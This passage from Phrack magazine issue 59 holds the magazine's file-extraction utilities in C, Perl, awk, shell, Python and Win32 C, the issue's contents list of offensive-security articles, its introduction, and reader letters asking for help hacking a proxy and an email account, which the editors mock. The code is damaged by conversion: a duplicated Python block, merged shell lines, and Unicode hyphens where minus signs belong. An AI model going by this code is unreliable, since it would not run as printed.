for (j = 8; j > 0; j‑‑)

{

if (crc & 1)

{

crc = (crc >> 1) ^ poly;

}

else

{

crc >>= 1;

}

}

crcTable[i] = crc;

}

}

unsigned long check_crc(FILE *fp)

{

register unsigned long crc;

int c;

crc = 0xFFFFFFFF;

while( (c = getc(fp)) != EOF )

{

crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF]; }

if (fseek(fp, 0, SEEK_SET) == ‑1)

{

perror("fseek");

exit(EXIT_FAILURE);

}

return (crc ^ 0xFFFFFFFF);

}

int

main(int argc, char **argv)

{

char *name;

u_char b[256], *bp, *fn, flags;

int i, j = 0, h_c = 0, c;

unsigned long crc = 0, crc_f = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;

while ((c = getopt(argc, argv, "cqv")) != EOF)

{

switch (c)

{

case 'c':

flags |= EX_DO_CHECKS;

break;

case 'q':

flags |= EX_QUIET;

break;

case 'v':

fprintf(stderr, "Extract version: %s\n", VERSION); exit(EXIT_SUCCESS);

}

}

c = argc ‑ optind;

if (c < 2)

{

fprintf(stderr, "Usage: %s [‑cqv] file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next; )

{

if (!strcmp(fn_p‑>name, "‑"))

{

in_p = stdin;

name = "stdin";

}

else if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); fn_p = fn_p‑>next;

continue;

}

else

{

name = fn_p‑>name;

}

if (!(flags & EX_QUIET))

{

fprintf(stderr, "Scanning %s...\n", fn_p‑>name); }

crcgen();

while (fgets(b, 256, in_p))

{

if (!strncmp(b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

crc = 0;

crc_f = 0;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

if (mkdir(b + BT_SIZE, 0700) == ‑1 && errno != EEXIST) { perror("mkdir"); exit(EXIT_FAILURE); }

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((bp = strchr(b, '!')))

{

crc_f =

strtoul((b + (strlen(b) ‑ strlen(bp)) + 1), NULL, 16); b[strlen(b) ‑ strlen(bp) ‑ 1 ] = 0; h_c = 1;

}

else

{

h_c = 0;

}

if ((out_p = fopen(b + BT_SIZE, "wb+"))) {

fprintf(stderr, ". Extracting %s\n", b + BT_SIZE); }

else

{

printf(". Could not extract anything from '%s'.\n", b + BT_SIZE);

continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p)

{

if (h_c == 1)

{

if (fseek(out_p, 0l, 0) == ‑1) { perror("fseek"); exit(EXIT_FAILURE); }

crc = check_crc(out_p); if (crc == crc_f && !(flags & EX_QUIET)) { fprintf(stderr, ". CRC32 verified (%08lx)\n", crc); }

else

{

if (!(flags & EX_QUIET))

{

fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",

crc_f, crc);

}

}

}

fclose(out_p);

}

else

{

fprintf(stderr, ". `%s` had bad tags.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

if (in_p != stdin)

{

fclose(in_p);

}

tmp = fn_p;

fn_p = fn_p‑>next;

free(tmp);

}

if (!j)

{

printf("No extraction tags found in list.\n");

}

else

{

printf("Extracted %d file(s).\n", j);

}

return (0);

}

/* EOF */

<‑‑>

<++> extract/extract.pl !1a19d427

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> extract/extract.awk !26522c51

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> extract/extract.sh !a81a2320

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

<++> extract/extract.py !83f65f60

#! /bin/env python

# extract.py Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:

"""Looks like a file, but doesn't do anything."""

def write(self, data): pass

def close(self): pass

def extract(input, verbose = 1):

"""Read a file from input until we find the end token."""

if type(input) == type('string'):

fname = input

try: input = open(fname)

except IOError, (errno, why):

print "Can't open %s: %s" % (fname, why) return errno

else:

fname = '<file descriptor %d>' % input.fileno()

inside_embedded_file = 0

linecount = 0

line = input.readline()

while line:

if not inside_embedded_file and line[:4] == '<++>':

inside_embedded_file = 1

linecount = 0

filename = string.strip(line[4:])

if mkdirs_if_any(filename) != 0:

pass

try: output = open(filename, 'w')

except IOError, (errno, why):

print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink()

continue

if verbose:

print 'Extracting embedded file %s from %s...' % (filename,

fname),

elif inside_embedded_file and line[:4] == '<‑‑>': output.close()

inside_embedded_file = 0

if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount

elif inside_embedded_file:

output.write(line)

# Else keep looking for a start token.

line = input.readline()

linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):

"""Check for existance of /'s in filename, and make directories."""

path, file = os.path.split(filename)

if not path: return

errno = 0

start = os.getcwd()

components = string.split(path, os.sep)

for dir in components:

if not os.path.exists(dir):

try:

os.mkdir(dir)

if verbose: print 'Created directory', path

except os.error, (errno, why):

print "Can't make directory %s: %s" % (dir, why) break

try: os.chdir(dir)

except os.error, (errno, why):

print "Can't cd to directory %s: %s" % (dir, why) break

os.chdir(start)

return errno

def usage():

"""Blah."""

die('Usage: extract.py [‑V] filename [filename...]')

def main():

try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = ['‑v', filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass

except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = [filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass # No messy traceback. <‑‑>

<++> extract/extract‑win.c !e519375d

/***************************************

/* WinExtract

/*

/* Written by Fotonik <fotonik@game‑master.com>. */

/*

/* Coding of WinExtract started on 22aug98. */

/*

/* This version (1.0) was last modified on 22aug98. */

/*

/* This is a Win32 program to extract text files from a specially tagged */

/* flat file into a hierarchical directory structure. Use to extract */

/* source code from articles in Phrack Magazine. The latest version of */

/* this program (both source and executable codes) can be found on my */

/* website: http://www.altern.com/fotonik */

/***************************************

#include <stdio.h>

#include <string.h>

#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst, LPSTR lpszArgs, int nWinMode)

{

OPENFILENAME OpenFile; /* Structure for Open common dialog box */

char InFileName[256]="";

char OutFileName[256];

char Title[]="WinExtract ‑ Choose a file to extract files from."; FILE *InFile;

FILE *OutFile;

char Line[256];

char DirName[256];

int FileExtracted=0; /* Flag used to determine if at least one file was */

int i; /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME)); OpenFile.lStructSize=sizeof(OPENFILENAME); OpenFile.hwndOwner=HWND_DESKTOP;

OpenFile.hInstance=hThisInst;

OpenFile.lpstrFile=InFileName; OpenFile.nMaxFile=sizeof(InFileName)‑1;

OpenFile.lpstrTitle=Title;

OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))

{

if((InFile=fopen(InFileName,"r"))==NULL)

{

MessageBox(NULL,"Could not open file.",NULL,MB_OK); return 0;

}

/* If we got here, InFile is opened. */

while(fgets(Line,256,InFile))

{

if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */

{

Line[strlen(Line)‑1]='\0'; strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */

for(i=strlen(OutFileName)‑1;i>=0;i‑‑)

{ if((OutFileName[i]=='\\')||(OutFileName[i]=='/')) {

strncpy(DirName,OutFileName,i); DirName[i]='\0'; PowerCreateDirectory(DirName); break;

}

}

if((OutFile=fopen(OutFileName,"w"))==NULL)

{

MessageBox(NULL,"Could not create file.",NULL,MB_OK); fclose(InFile);

return 0;

}

/* If we got here, OutFile can be written to */

while(fgets(Line,256,InFile))

{

if(strncmp(Line,"<‑‑>",4)) /* If line doesn't begin w/ "<‑‑>" */

{

fputs(Line, OutFile);

}

else

{

break;

}

}

fclose(OutFile);

FileExtracted=1;

}

}

fclose(InFile);

if(FileExtracted)

{

MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK); }

else

{

MessageBox(NULL,"Nothing to extract.","Warning",MB_OK); }

}

return 1;

}

/* PowerCreateDirectory is a function that creates directories that are */

/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */

void PowerCreateDirectory(char *DirectoryName)

{

int i;

int DirNameLength=strlen(DirectoryName);

char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */

{ /* create '/' */

if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')|| (i==DirNameLength‑1))

{

strncpy(DirToBeCreated,DirectoryName,i+1); DirToBeCreated[i+1]='\0'; CreateDirectory(DirToBeCreated,NULL);

}

}

}

<‑‑>

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

59

- Introduction by Phrack Staff

- Loopback by Phrack Staff

- Linenoise by Phrack Staff

- Handling the Interrupt Descriptor Table by kad

- Advances in kernel hacking II by palmers

- Defeating Forensic Analysis on Unix by the grugq

- Advances in format string exploitation by riq & gera

- Runtime process infection by anonymous author

- Bypassing PaX ASLR protection by Tyler Durden

- Execution path analysis by Jan K. Rutkowski

- Cuts like a knife, SSHarp by stealth

- Building ptrace injecting shellcodes by anonymous author

- Linux/390 shellcode development by johnny cyberpunk

- Writing Linux Kernel Keylogger by rd

- CRYPTOGRAPHIC RANDOM NUMBER GENERATORS by DrMungkee

- Playing with Windows /dev/(k)mem by crazylord

- Phrack World News by Phrack Staff

- Phrack magazine extraction utility by Phrack Staff

Introduction

C:\>type FILE_ID.DIZ

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x01 of 0x12

[‑]=====================================

, ,,,

:#' `, ,,

## : ,#'

__ $#,,#' ,#' '#,:#$#. ,,

/_/l ,#' #$'`#, :# '# .# #; .#

: : : ,#' #: '# $# #' '#

; ; ; '' ,#' ', ,:' "#,,$#

: : :

L ; ; __.‑._.‑+.

/."^.:.L.' .^‑. \`.

:`.`. \"/\ /.‑. `. \ \

;\ \ ` ;‑.y(_.‑\ \ `.`.

: _. ;; ` \ \. `‑\

\ T :: :=, ,=^\ \"‑._; __..‑‑‑‑

/;:‑'; ;<o\ <o> `._L.‑‑^. .‑""‑.`. \ ""‑‑..

: :_.': : ;/ \ / \

; T \ \ s /:.‑‑‑. ;_/ `‑._; ; : ___

: :\ \ `.‑=^" .:‑" _\ \_. T"‑‑‑:‑.""‑‑""\ ""‑.

; \\ "‑.\__.:' /‑'. ; ; _.

: ;\ `..' .' \: ; /

; `, \ .‑" ;/"‑‑‑" /.

: .‑" `. .'.‑\ / ""‑‑‑‑"""bug

\_.' "._.‑"‑..‑'`‑..‑'

[‑]=====================================

What happend since p58?

Summercon took place (kudos to louis)! We put some pics online at http://www.phrack.org/summercon2002 for those who missed it.

DMCA knocked down some websites, forced google to censor parts of their contents and continues to deny, forbid and restrict access to certain information. Free and unmodified information becomes rare and one day we might wake up and dont even know what kind of information we missed. Shame and pity on everyone living in chains in the "free" countries where the DMCA law applies. (‑> PWN).

We have changed our release policy (http://www.phrack.org/release). For the

last 15 years PHRACK has been released to anyone simultaneously. These days PHRACK is also read by individuals, companies and agencies who do not value the magazine and the authors (under DMCA, PHRACK might even be forbidden). Research is free, the magazine is free, but now the phrack approval and review process provides it free to the contributing authors 2 weeks earlier.

PHRACK 59 will be released in 3 steps:

2002‑07‑13: Limited release to contributing authors and volunteer reviewers. 2002‑07‑19: PHRACK 59 Release Candidate 1 is privately release to a larger audience for initial feed‑back and review. (Not expected to stay private for long...). http://www.phrack.org/gogetit/phrack59.tar.gz.

2002‑07‑28: Public release on http://www.phrack.org main page for everyone

who missed the release on the 19th.

There might be some confusion about where to get PHRACK and how to get in contact with the Phrack Staff: We do _not_ chill on #phrack/efnet. That channel has been left alone for nearly 3 years. Those who know us, know where to find us. All others should contact us by email (PGP key is attached). None of us would every confirm or show off his involvement in PHRACK ‑ only snobs do ‑ watch out and dont trust strangers. There is only one official distribution side:

[#][#][#] http://www.phrack.org [#][#][#]

We got contacted by the very old ones: readers, authors and Editors in Chief's from 10 and more years ago. Thanks so far to everyone for the valueable discussions on knights@lists.phrack.org. This is a call to anyone who wants to meet some friends 'from the old days', or who wants to organize future events and meetings together: Send an email to phrackstaff@phrack.org and we will put you on.

This issue comes with a goodie ‑ check out phrack_tshirt_logo.png. We got in contact with a printer and are happy to announce that the PHRACK TSHIRTS will be ready for the public PHRACK 59 release.

for you, your computer, your family and your dog at DEFCON X and later on at http://www.jinxhackwares.com/phrack.

|=[ Table of Contents ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 0x01 Introduction Phrack Staff 0x0b kb |

| 0x02 Loopback Phrack Staff 0x0f kb |

| 0x03 Linenoise Phrack Staff 0x6b kb |

| 0x04 Handling the Interrupt Descriptor Table kad 0x55 kb | | 0x05 Advances in kernel hacking II palmers 0x15 kb | | 0x06 Defeating Forensic Analysis on Unix the grugq 0x65 kb | | 0x07 Advances in format string exploiting gera & riq 0x1f kb | | 0x08 Runtime process infection anonymous author 0x2f kb | | 0x09 Bypassing PaX ASLR protection anonymous author 0x26 kb | | 0x0a Execution path analysis: finding kernel rk's J.K.Rutkowski 0x2a kb | | 0x0b Cuts like a knife, SSHarp stealth 0x0c kb | | 0x0c Building ptrace injecting shellcodes anonymous author 0x17 kb | | 0x0d Linux/390 shellcode development johnny cyberpunk 0x14 kb | | 0x0e Writing linux kernel keylogger rd 0x29 kb | | 0x0f Cryptographic random number generators DrMungkee 0x2d kb | | 0x10 Playing with windows /dev/(k)mem crazylord 0x42 kb | | 0x11 Phrack World News Phrack Staff 0x18 kb | | 0x12 Phrack magazine extraction utility Phrack Staff 0x15 kb |

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0x2EE kb |

Shoutz:

solar designer : respect, strength & honor!

FozZy, brotha : 1OO% kewl logo (see phrack_tshirt.png) sh1ft33 & j0hn : phrack ghostwriterz

The latest, and all previous, phrack issues are available online at http://www.phrack.org. Readers without web access can subscribe to the

phrack‑distrib mailinglist. Every new phrack is sent as email attachment to this list. Every new phrack issue (without the attachment) is announced on the announcement mailinglist.

To subscribe to the announcement mailinglist:

$ mail announcement‑subscribe@lists.phrack.org < /dev/null

To subscribe to the distribution mailinglist:

$ mail distrib‑subscribe@lists.phrack.org < /dev/null

To retrieve older issues (must subscribe first):

$ mail distrib‑index@lists.phrack.org < /dev/null

$ mail distrib‑get.<n>@lists.phrack.org < /dev/null

where n indicated the phrack issue [1..58].

Enjoy the magazine!

Phrack Magazine Vol 10 Number 59, Build 2, July 28, 2002. ISSN 1068‑1035 Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors.

Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : phrackstaff@phrack.org

Submissions : phrackstaff@phrack.org

Commentary : loopback@phrack.org

Phrack World News : pwn@phrack.org

We have some agressive /dev/null‑style mail filter running. We do reply to every serious email. If you did not get a reply, then your mail was probably not worth an answer or was caught by our mailfilter. Make sure your mail has a non‑implicit destination, one recipient, a non‑empty subject field, and does not contain any html code and is 100% 7bit clean pure ascii.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.0.6 (GNU/Linux)

Comment: For info see http://www.gnupg.org

mQGiBD03YTYRBADYg6kOTnjEfrMANEGmoTLqxRZdfxGpvaU5MHPq+XHvuFAWHBm2 xB/9ZcRt4XIXw0OTL441ixL6fvGPNxjrRmAUtXSWrElGJ5lTj7VdJmdt/DbehzGb NXekehG/r6KLHX0PqNzcr84sY6/GrZUiNZftYA/eUWDB7EjEmkBIMs3bnwCg3KRb 96G68Zc+T4ebUrV5/dkYwFUEAMgSGJpdy8yBWaFUsGOsGkrZZfdf6tRA+GGOnqjS Lh094L8iuTfbxr7zO4E5+uToantAl56fHhnEy7hKJxuQdW1C0GKktUDhGltUxrob zsNdN6cBprUT7//QgdOlm3nE2E5myozhhMxLMjjFl1mNo1YrNUEU4tYWm/Zvg9OF

Te8TBADS4oafB6pT9BhGOWhoED1bQRkk/KdHuBMrgwK8vb/e36p6KMj8xBVJNglY JtIn6Iv14z8PtO62SEzlcgdsieoVncztQgLIrvCN+vKjv8jEGFtTmIhx6f/VC7pX oLX2419rePYaXCPVhw3xDN2CVahUD9jTkFE2eOSFiWJ7DqUsIrQkcGhyYWNrc3Rh ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iFcEExECABcFAj03YTYFCwcKAwQD FQMCAxYCAQIXgAAKCRB73vey7F3HClWRAJ4qxMAMESfFb2Bbi+rAb0JS4LnSYwCZ AWI6ndU+sWEs/rdD78yydjPKW9q5Ag0EPTdhThAIAJNlf1QKtz715HIWA6G1CfKb ukVyWVLnP91C1HRspi5haRdyqXbOUulck7A8XrZRtDUmvMGMO8ZguEjioXdyvYdC 36LUW8QXQM9BzJd76uUl/neBwNaWCHyiUqEijzkKO8yoYrLHkjref48yBF7nbgOl i1y3QOyDGUT/sEdjE5lzHqVtDxKH9B8crVkr/O2GEyr/zRu1Z2L5TjZNcQO988Hy CyBdDVsCBwUkdrm/oyqnSiypcGzumD4pYzmquUw1EYJOVEO+WeLAOrfhd15oBZMp QlQ/MOfc0rvS27YhKKFAHhSchSFLEppy/La6wzU+CW4iIcDMny5xw1wNv3vGrScA AwUH/jAo4KbOYm6Brdvq5zLcEvhDTKf6WcTLaTbdx4GEa8Sj4B5a2A/ulycZT6Wu D480xT8me0H4LKl2j7lzhJwzG9HRp846gKrPgj7GVcAaTtsXgwJu6Q7fH74PCrOt GEyvJw+hRiQCTHUC22FUAx6SHZ5KzwMs3W8QnNUbRBfbd1hPMaEJpUeBm/jeXSm4 2JLOd9QjJu3fUIOzGj+G6MWvi7b49h/g0fH3M/LF5mPJfo7exaElXwk1ohyPjeb8 s11m348C4JqmFKijAyuQ9vfS8cdcsYUoCrWQw/ZWUIYSoKJd0poVWaHQwuAWuSFS 4C8wUicFDUkG6+f5b7wNjfW3hf2IRgQYEQIABgUCPTdhTgAKCRB73vey7F3HCq5e AJ4+jaPMQEbsmMfa94kJeAODE0XgXgCfbvismsWSu354IBL37BtyVg9cxAo=

=9kWD

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑22 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Loopback

phrack.org:~# cat /dev/random

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x02 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑‑‑| QUOTE of the month

<phonic> is it legal?

<cold‑fire> dont know, im doing it from bonds box

‑‑‑‑| EXPLOIT of the month

apache‑scalp & OpenBSD memcpy() madness^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H openssh remote.

‑‑‑‑| TOPIC of the month (regarding OpenSSH)

‑:‑ Topic (#somewhere): changed by someone:

"8 hours and 53 minutes without a remote hole in the default install!"

‑‑‑‑| LAMERZ of the month

http://www.idefense.com/Intell/CI022702.html

[ or: how to convert public whois db files into .xls and finding people who buy this bullshit. ]

http://hackingtruths.box.sk/certi.htm

[ They try to make money out of everything: "Become a certificated hacker today". ]

|=[ 0x00 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Kenneth J. Bungert,,," <tnman@islc.net>

Subject: harassment

I have a question ?

[ I don't know... do you? ]

Is there any way I can find out who is calling if it is from a computer... I think that is where the annoying calls are being made?

[ If you are in a country that does not have consumer Caller ID, or provider ANI, then just follow the cord attached to the end your telephone until you find the person at the other end. Ask them nicely if they called you. ]

Rob

Kenneth J. Bungert,,,

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

http://www.atstake.com/company_info/management.html#mudge

[ Look what they did to mudge/Peiter Zatko. They cut his hair, tied a tie around his neck and covered his body with a suite. They wrote that he was the CEO (CEO?, #1?) of [the company named] "L0pht Heavy Industries".

My comment: 'They made a clown out of a well respected smart guy/hacker who should be better descriped as 'a key figure in americans famous underground hacking group known as L0pft Heavy Industries'. I hope the tie will not become too tight mudge :/ ]

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: mac119@hotmail.com

Hello i need some help.

[ Come to us, we enlight and answer all your worries! ]

if someone can hack down 172.26.100.10:8080 and take down the proxy server, would make me very happy.

[ ..would pretty much impress me. Most of your questions can be answered by reading RFC1918. ]

NB! if someone do that, they will get a little reward from me, $120. tanks again

Ice

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Hacker

i am 29 y/o male and very intrested in hacking my girlfriends Emails in "Yahoo" and "Hotmail" . please instruct me if it has an straighforward solution or anything help me in this regard.

i have tried some softwares about this but they didnt work properly and no result achieved. please Email ur hints to ab_c28@yahoo.com thank you for your prompt attention.

regards.

Bob Z.

NEVER SEND SPAM. IT IS BAD.

[ Dear Lamer

After hacking your Yahoo! account we acquired your girlfriend's email address and proceeded to inform her about your curiosity.

After speaking with her about this incident she agreed that we should expose you for the perverse idiot that you are. Get a life. ]

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "brad" <mulder428@hotmail.com>

Hey guys..I am a beginner and i am trying to find all the information that i can on how to learn everything that you guys know...i am not asking for you to tell me how to hack into hotmail or yahoo mail like some of the other people here but i just want any kind of information that you can give me on how to learn anything and everything about what you guys do,

[ Do you know what it is that we know? We don't know what we know, we just know that we know it.

An obvious self‑promotional answer would be to read Phrack... ]

With much respect,

Ryan

|=[ 0x05 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Jason De Grandis <JasonD@activ.net.au>

Subject: [phrackstaff] Hacking / Cracking

I am new to the world of hacking and cracking, and I want to get some info on the above.

[ Welcome to our world, Jason. ]

What I want to do is, obtain credit card numbers, get email passwords and get into NASA and the FBI, if I am lucky. The sort of stuff the movie "Hackers" illustrated. I don't know if this can be done, if it can, can someone email me the information or point me into the right direction on were to start.

[ Sounds like some pretty serious stuff you want to get into. I recommend watching Hackers a few more times and then getting yourself some Gibsons. Remember ‑‑ the most commonly used passwords are "love", "sex", "secret" and "god" ‑‑ BUT NOT NECESSARILY IN THAT ORDER YOU FUCKING LAMER! ]

Where do I go and what do I need. I have started learning LINUX, as I have been told it is something to know and learn. What else do I need???

[ A system, a clue, some Phrack issuez for you

Learn Unix and learn it good, learn it like a ninja would If you do not have a clue yet, some 0day you must get Hack the planet in a night, backdoor that shit up tight Sell each root for a buck...

OH MY GOD YOU FUCKING SUCK!@#!#!$ ]

J.

[ S. ]

|=[ 0x06 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey again Phrack

[ Hello ]

I have now read quite a few of your magazines. BUT there is a pretty nasty failure in number 56... Either the index file is misplaced or the articles are. They don't match, that's for sure!

[ It is all fine. It is indexed in hex (the index file is quite clear if you bother to read it ‑‑ p56‑0x01) ]

If you have gotten the time for it could you then please fix it. And I would be happy if you would send me a copy of the correct one when finished..

[ No. It's not broken, chump. ]

Thank you.

/Dark Origin

~If you think nobody cares, try missing a couple of payments.~

[ Trust me. Nobody cares. ]

|=[ 0x07 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: syiron the sex man <syiron@eynet.cc>

To: <somegroup@somedomain>

